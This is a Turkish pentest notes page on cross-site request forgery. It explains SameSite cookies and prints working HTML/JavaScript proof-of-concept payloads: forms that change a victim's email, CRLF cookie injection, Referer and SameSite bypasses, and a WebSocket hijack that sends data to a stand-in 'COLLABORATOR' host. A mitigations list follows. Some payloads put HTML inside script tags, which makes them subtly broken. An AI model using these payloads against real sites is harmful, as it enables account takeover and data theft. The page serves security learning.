🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • CSRF Nedir?
  • SameSite Cookie Değerleri
  • Yöntemler
  • Korumasız CSRF
  • GET Metodu ile CSRF
  • CSRF Token Silme
  • CSRF Token Session'a Bağlı Olmayabilir
  • CSRF Token Session Dışında Bir Cookie'ye Bağlı Olabilir
  • CSRF Token Bir Çerezde Tekrar Ediliyor Olabilir
  • CSRF Koruması Olarak Referer Header Kontrolü
  • CSRF Method Override SameSite Lax Bypass
  • Cookie Yenileyerek SameSite Lax Bypass
  • CSRF Open Redirect SameSite Strict Bypass
  • CSRF Subdomain SameSite Strict Bypass
  • Websocket CSRF
  • Önlemler
  • Araçlar
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

CSRF

PreviousXSSNextSSRF

Last updated 18 days ago

Was this helpful?

CSRF Nedir?

  • Cross-site request forgery (CSRF olarak da bilinir), bir saldırganın kullanıcıları gerçekleştirmek istemedikleri eylemleri gerçekleştirmeye zorlamasına olanak tanıyan bir web güvenlik açığıdır.

  • Bir saldırganın, farklı web sitelerinin birbirine müdahale etmesini önlemek için tasarlanan “Same Origin Policy ”yi kısmen atlatmasına olanak tanır.

SameSite Cookie Değerleri

  • SameSite=None: Hiçbir koruma yoktur istek nereden gelirse gelsin cookie isteğe eklenir. Eğer csrf token koruması yoksa saldırı yapılabilir.

  • SameSite=Lax: Default değerdir. Eğer istek başka bir domainden geliyorsa sadece GET isteklerine çerezi ekler.

  • SameSite=Strict: Başka domainden gelen hiçbir isteğe çerezi eklemez.

Yöntemler

Korumasız CSRF

<html>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

GET Metodu ile CSRF

<html>
  <body>
    <form action="https://example.com/my-account/change-email">
      <input type="hidden" name="email" value="attacker@gmail.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF Token Silme

CSRF Token silindiğinde istek halen kabul ediliyor olabilir.

CSRF Token Session'a Bağlı Olmayabilir

CSRF token eğer bir session'a bağlı değil ise kendi csrf tokenimizi başka kullanıcılarda kullanabiliriz.

CSRF Token Session Dışında Bir Cookie'ye Bağlı Olabilir

Eğer CSRF Token Session çerezi dışında bir çerez ile ilişkili ise bu çerezi kurbanın almasını sağlayabiliriz. Bunun için CRLF (%0d%0a) kullanabiliriz.

<html>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
      <input type="hidden" name="csrf" value="CSRF_KEY" />
    </form>
    <script>
      history.pushState('', '', '/');
      <img src="https://example.com/?search=test%0d%0aSet-Cookie:%20csrfKey=CSRF_KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
    </script>
  </body>
</html>

CSRF Token Bir Çerezde Tekrar Ediliyor Olabilir

Eğer CSRF Token bir cookie'de tekrar ediyorsa bu çerezi kurbana aktarabiliriz. Bunun için CRLF (%0d%0a) kullanabiliriz.

<html>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
      <input type="hidden" name="csrf" value="CSRF_KEY" />
    </form>
    <script>
      history.pushState('', '', '/');
      <img src="https://example.com/?search=test%0d%0aSet-Cookie:%20csrf=CSRF_KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
    </script>
  </body>
</html>

CSRF Koruması Olarak Referer Header Kontrolü

Sistem kullanıcının kendisinin isteği attığını kontrol etmek için referer başlığını kullanıyor olabilir. Bu korumayı atlatmak için başlığı silmeyi deneyebiliriz.

<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Eğer referer header kontrolünde parser yanlış yapılmış olabilir. Burada url'ye parametre olarak sitenin adresini girdiğimizde korumayı aşmış oluyoruz.

<html>
  <head>
    <meta name="referrer" content="unsafe-url">
  </head>
  <body>
    <form action="https://example.com/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@gmail.com" />
    </form>
    <script>
      history.pushState('', '', '/?example.com');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF Method Override SameSite Lax Bypass

Eğer istek sadece POST metodu ile gönderiliyorsa ve Lax ile cookie işaretlenmiş ise isteği GET yapmamız gerekir. Bunu _method parametresi ile yapmayı deneyebiliriz.

<script>
    document.location = "https://example.com/my-account/change-email?email=attacker@gmail.com&_method=POST";
</script>

Cookie Yenileyerek SameSite Lax Bypass

Eğer session çerezi lax ile işaretli ise bu çerezi yenileyen sayfaya istek atabiliriz.

<form method="POST" action="https://example.com/my-account/change-email">
    <input type="hidden" name="email" value="attacker@gmail.com">
</form>
<script>
    window.open('https://example.com/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
        document.forms[0].submit();
    }
</script>

Eğer hedefte popup blocker var ise aşağıdaki kodu kullanabiliriz.

<form method="POST" action="https://example.com/my-account/change-email">
    <input type="hidden" name="email" value="attacker@gmail.com">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://example.com/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

CSRF Open Redirect SameSite Strict Bypass

Eğer session cookie stric

<script>
    document.location = "https://example.com/?page=1/../../my-account/change-email?email=attacker@gmail.com%26submit=1";
</script>

CSRF Subdomain SameSite Strict Bypass

Eğer session çerezi SameSite Strict ise bu korumayı başka bir domainde xss açığı bularak atlatabiliriz.

Websocket CSRF

<script>
    var ws = new WebSocket('wss://example.com');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://COLLABORATOR', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

Önlemler

  • CSRF saldırılarına karşı savunmanın en sağlam yolu, ilgili isteklere bir CSRF belirteci eklemektir.

  • CSRF token yüksek entropi ile tahmin edilemez olmalı.

  • CSRF token kullanıcının oturumuna bağlı olmalı.

  • Önemli cookie bilgileri samesite strict ile işaretlenmeli.

  • Samesite default değer olarak gelen Lax sadece gerekli ise kullanılmalı.

  • Samesite=None asla kullanılmamalı.

Araçlar

Kaynaklar

Burp CSRF Scanner:

Portswigger Academy:

🕸️
https://github.com/portswigger/csrf-scanner
https://portswigger.net/web-security/csrf